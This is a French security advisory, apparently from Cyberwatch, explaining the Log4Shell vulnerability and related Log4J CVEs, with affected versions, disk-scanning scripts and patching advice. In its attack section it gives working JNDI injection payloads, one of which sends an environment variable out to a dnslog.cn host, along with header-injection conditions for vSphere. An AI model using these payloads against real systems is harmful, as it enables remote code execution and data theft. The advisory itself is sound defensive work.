CVE-2021-44228 Log4Shell : une vulnérabilité de type exécution de code à distance qui affecte le logiciel Apache Log4J
Fin novembre 2021, Chen Zhaojun, membre de l’équipe sécurité d’Alibaba Cloud, identifie une vulnérabilité dans le code du projet Apache Log4J et en informe les équipes de développement.
Le 9 décembre 2021, le chercheur en sécurité p0rz9 publie sur Twitter des informations sur cette vulnérabilité, en montrant comment l’utiliser pour exécuter du code à distance (on parle alors de RCE pour Remote Code Execution, ou exécution de code à distance). Cette vulnérabilité liée à Apache Log4J, est ensuite rapidement relayée sur Internet, et référencée sous le code CVE-2021-44228.
Apache Log4J est un logiciel de gestion des journaux utilisé pour le langage Java, et édité par la fondation Apache.
Log4J est ainsi utilisé pour enregistrer les évènements d’un autre logiciel, par exemple pour écrire toutes les requêtes faites sur un site Internet.
Log4J est une bibliothèque très utilisée : on trouve ainsi plus de 300 000 résultats sur GitHub pour la requête « import org.apache.logging.log4j.Logger » qui permet d’utiliser ce projet.
Comment fonctionne la CVE-2021-44228 ?
Log4J permet, lors de l’écriture d’une entrée dans les journaux :
- d’effectuer des opérations complémentaires, afin de récupérer des valeurs issues de sources complémentaires ;
- de faire des appels à des systèmes tiers, avec des protocoles comme LDAP (système d’annuaire), DNS (système de gestion des noms de domaine), RMI (système d’appel de code à distance) via JNDI.
La vulnérabilité CVE-2021-44228 / Log4Shell consiste à injecter sur un logiciel vulnérable une charge malveillante, qui va demander à Log4J d’aller chercher une valeur issue d’une source tierce, avec JNDI, et via un protocole comme LDAP, DNS, RMI, CORBA…
Or, dans ce cas, Log4J ne vérifie pas assez bien les données importées. Les données importées peuvent alors être du code, qui sera exécuté par Log4J sur le système.
Comment attaquer un système avec cette vulnérabilité ?
La stratégie la plus simple consiste à créer un service d’écoute DNS comme http://www.dnslog.cn/.
En cliquant sur « Get subdomain », DNSlog génère un nom de domaine unique.
L’objectif est ensuite d’envoyer sur le logiciel vulnérable le message suivant :
${jndi:ldap://<sous-domaine-unique>.dnslog.cn/}Si le message envoyé se retrouve enregistré par Log4J, alors Log4J va générer un appel LDAP sur DNSlog, et cet appel sera visible sur DNSlog.cn.
Un pirate peut ainsi demander à un système vulnérable de faire des requêtes vers un serveur sous son contrôle, et en profiter pour pousser des instructions malveillantes qui seront alors exécutées par Log4J.
Cette vulnérabilité permet aussi très facilement de faire des extractions d’informations par le protocole DNS, par exemple avec la requête suivante :
${jndi:ldap://${env:user}.dnslog.cn/}Or, certaines entêtes HTTP sont particulièrement concernés par les enregistrements de journaux, comme le User-Agent, souvent utilisé à des fins de statistiques (le User-Agent indique le navigateur utilisé). Dans ce cadre, beaucoup de pirates scannent actuellement l’ensemble d’Internet en injectant une requête jndi dans l’entête User-Agent afin de trouver des sites web affectés par la CVE-2021-44228.
Notons qu’il faut absolument réussir à injecter le code malveillant dans les logs générés avec Log4J pour exploiter la vulnérabilité : ainsi, ce n’est pas parce que Log4J est présent dans une version vulnérable sur un produit que ce produit sera lui-même vulnérable. Par exemple, la page de connexion de l’interface en ligne VMWare vSphere est impactée par Log4J, mais dans les conditions suivantes :
- il faut que la page de connexion
/websso/SAML2/SSO/<nom_machine>soit valide ; - il faut que le paramètre
SAMLRequestsoit invalide ou vide ; - il faut alors injecter le code JNDI malveillant dans l’entête HTTP
X-Forwarded-For.
Log4Shell est donc une vulnérabilité qui n’est pas nécessairement triviale à exploiter, et qui dépend beaucoup du contexte d’utilisation de Log4J.
Quels sont les systèmes affectés par la CVE-2021-44228 ?
Les versions de Log4J 2.0-beta9 à 2.14.1 incluses sont affectées par Log4Shell CVE-2021-44228
D’après le bulletin d’information d’Apache, la vulnérabilité affecte Log4J dans les versions 2.0-beta9 à 2.14.1 incluses.
Ainsi, Apache recommande de mettre à jour Log4J dans la version 2.15.0 pour corriger le problème.
Les autorités, en particulier l’ANSSI, recommandent également de mettre à jour Log4J dans la version 2.15.0 dans les plus brefs délais.
De plus, tout logiciel utilisant Log4J dans les configurations vulnérables se trouve aussi vulnérable. Cela concerne de nombreux logiciels complémentaires, comme Steam, Minecraft…
Les versions 1.X de Log4J ne sont pas considérées comme affectées par Log4Shell CVE-2021-44228
Les versions de Log4J en version 1.X ne sont vulnérables que dans des configurations extrêmement rares. L’ANSSI précise ainsi dans son bulletin que « La version 1 de log4j a été initialement déclarée vulnérable cependant la vulnérabilité n’existe que si le composant JMS Appender est configuré pour prendre en compte JNDI. Il s’agit donc d’une configuration très spécifique« , en se basant sur un commentaire GitHub des développeurs. A cet effet, le NVD ne considère pas les versions 1.X comme vulnérables au moment de la rédaction de cet article.
Quelle est la différence entre les CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, et CVE-2021-44832 ?
La CVE-2021-44228 est la vulnérabilité initiale, d’un score de 10/10, connue sous le nom de Log4Shell, corrigée dans Log4J 2.15.0
La CVE-2021-44228 est la vulnérabilité initiale publiée sur les produits Log4J, relative aux versions 2.X et corrigée dans Log4J 2.15.0.
Cette vulnérabilité a un score de 10/10 sur l’échelle CVSS, qui permet de mesurer la sévérité d’une vulnérabilité.
C’est cette vulnérabilité qui a provoqué la « crise » de base autour de Log4J, et qui a rapidement été nommée Log4Shell.
Les CVE-2021-45046 et CVE-2021-45105 sont des évolutions de la vulnérabilité originale, moins graves, et corrigées dans Log4J 2.16.0 et 2.17.0
Lorsqu’une technologie est concernée par une vulnérabilité particulièrement grave, celle-ci fait rapidement l’objet d’efforts de la communauté pour d’une part proposer des correctifs de sécurité, mais aussi pour identifier de nouvelles vulnérabilités du même type.
Dans ce cadre, des chercheurs ont trouvé 2 vulnérabilités complémentaires, sur le même principe, et sur la même technologie, qui n’avaient pas été corrigées dans Log4J 2.15.0.
Ces vulnérabilités ont été référencées sous les codes CVE-2021-45046 et CVE-2021-45105, et corrigées respectivement dans Log4J 2.16.0 et 2.17.0.
Ces vulnérabilités sont moins graves que la CVE-2021-44228, avec un score de 9/10 pour CVE-2021-45046 et 7.5/10 pour CVE-2021-45105.
Notons que l’effort de recherche est aujourd’hui encore très fort, et qu’il y a de fortes chances que d’autres vulnérabilités soient à nouveau publiées sur Log4J dans le futur.
La CVE-2021-4104 concerne les anciennes versions de Log4J, dans la branche 1.2.X, qui ne doivent de toute manière plus être utilisées sur le marché
La CVE-2021-4104 est une vulnérabilité de score 8.1/10, qui concerne les versions 1.2.X de Log4J.
Cependant, la version 1.X de Log4J a atteint le stade de fin de vie depuis le 5 août 2015.
En conséquence, la recommandation officielle est ici d’abandonner Log4J 1.X dans les plus brefs délais pour passer à une version 2.X.
La CVE-2021-44832 est une vulnérabilité mineure qui ne peut être exploitée que si le pirate peut déjà modifier le fichier de configuration de Log4J sur l’application attaquée
La CVE-2021-44832 est une nouvelle vulnérabilité publiée le 28 décembre 2021, d’un score plus faible de 6.6/10, qui affecte les versions de Log4J 2.0-beta7 à 2.17.0 (sauf les versions 2.3.2 et 2.12.4), mais qui n’est exploitable que dans des conditions bien précises : l’attaquant doit en effet d’abord pouvoir modifier un fichier de configuration lié à Log4J sur l’application ciblée.
Or, si un attaquant peut déjà modifier un tel fichier sur une application, c’est que l’attaquant dispose déjà d’éléments sensibles sur la cible.
Dans ce cadre, la CVE-2021-44832 est aujourd’hui vue par plusieurs experts comme une simple occasion pour certains chercheurs et éditeurs dans la sécurité informatique de « profiter » de la vague de panique autour de Log4J (comme le montre le tweet mis en exemple ci-après).
Comment scanner un serveur contre Log4Shell ?
Cyberwatch recommande de parcourir l’ensemble du disque dur à la recherche de fichiers JAR liés à Log4J. Un exemple de script, non exhaustif, figure ci-dessous :
# POUR LINUX (Bash)
## Parcourir le disque à la recherche de JAR liés à Log4J
for line in $(find / -name \*.jar 2>&1 | grep log4j)
do
echo "DEBUG:potential log4j candidate on $line"
done
# POUR WINDOWS (PowerShell)
## Parcourir le disque à la recherche de JAR liés à Log4J
$jar = @()
$drives = Get-PSDrive -PSProvider 'FileSystem'
foreach($drive in $drives) {
$jar += Get-ChildItem -Path $Drive.Root -File -ErrorAction SilentlyContinue -Force -Recurse -Filter '*.jar'
}
foreach($line in $jar) {
if($line -match 'log4j'){
$path = $line.FullName
Write-Output "DEBUG:Potential log4j candidate on '$path'"
}
}Une analyse exhaustive nécessitera aussi de faire une veille sur les composants tiers qui pourraient embarquer Log4J, ou d’étudier le contenu des fichiers WAR qui embarqueraient des versions vulnérables (les commandes unzip et jar peuvent être utilisées pour ce dernier cas).
De plus, Cyberwatch met à disposition un moteur de scan web open source sur GitHub, capable de scanner les sites web à la recherche de Log4shell via des injections sur près de 70 entêtes HTTP.
Les clients de Cyberwatch peuvent aussi directement consulter les pages des CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104 et CVE-2021-44832 dans leur encyclopédie des vulnérabilités, afin d’identifier les actifs concernés.
Découvrez également notre scanner gratuit Log4Shell.
Comment neutraliser cette vulnérabilité ?
L’action prioritaire est de mettre à jour Log4J vers la version 2.17.1, via les gestionnaires de paquets habituels ou via un téléchargement direct depuis https://logging.apache.org/log4j/2.x/download.html.
Il est aussi possible de réduire le degré d’exploitabilité de la vulnérabilité en mettant la variable d’environnement LOG4J_FORMAT_MSG_NO_LOOKUPS à true. Cette contremesure ne fonctionne cependant que pour les versions de Log4J supérieures ou égales à 2.10.
Cyberwatch Vulnerability Manager permet de détecter les CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104 et CVE-2021-44832, et peut déployer les correctifs de sécurité lorsque cela concerne un paquet officiel de la distribution. N’hésitez pas à nous demander une démonstration via le formulaire dédié.
Article mis à jour le 29/12/2021 à 23h54 : prise en compte de la CVE-2021-44832.
Article mis à jour le 20/12/2021 à 12h00 : prise en compte des CVE-2021-45105 et CVE-2021-4104, ajout de contexte supplémentaire sur l’historique de la vulnérabilité CVE-2021-44228.
Article mis à jour le 14/12/2021 à 22h33 : prise en compte de la CVE-2021-45046.
Article mis à jour le 14/12/2021 à 10h40 : ajout de précisions sur Log4J version 1.X.
Article mis à jour le 13/12/2021 à 20h03 : ajout des liens vers le moteur de scan web open source Wapiti, mis à jour pour couvrir Log4Shell, ainsi que de scripts Bash et PowerShell permettant d’effectuer une première analyse rapide sur disque.
Article mis à jour le 13/12/2021 à 10h02 : les requêtes externes sont requises à minima sur le protocole DNS, via jndi:dns, ce qui permet de contourner de nombreuses restrictions de flux. La recommandation est donc de mettre à jour vers Log4J 2.15.0, ou a minima de mettre la variable d’environnement LOG4J_FORMAT_MSG_NO_LOOKUPS à true.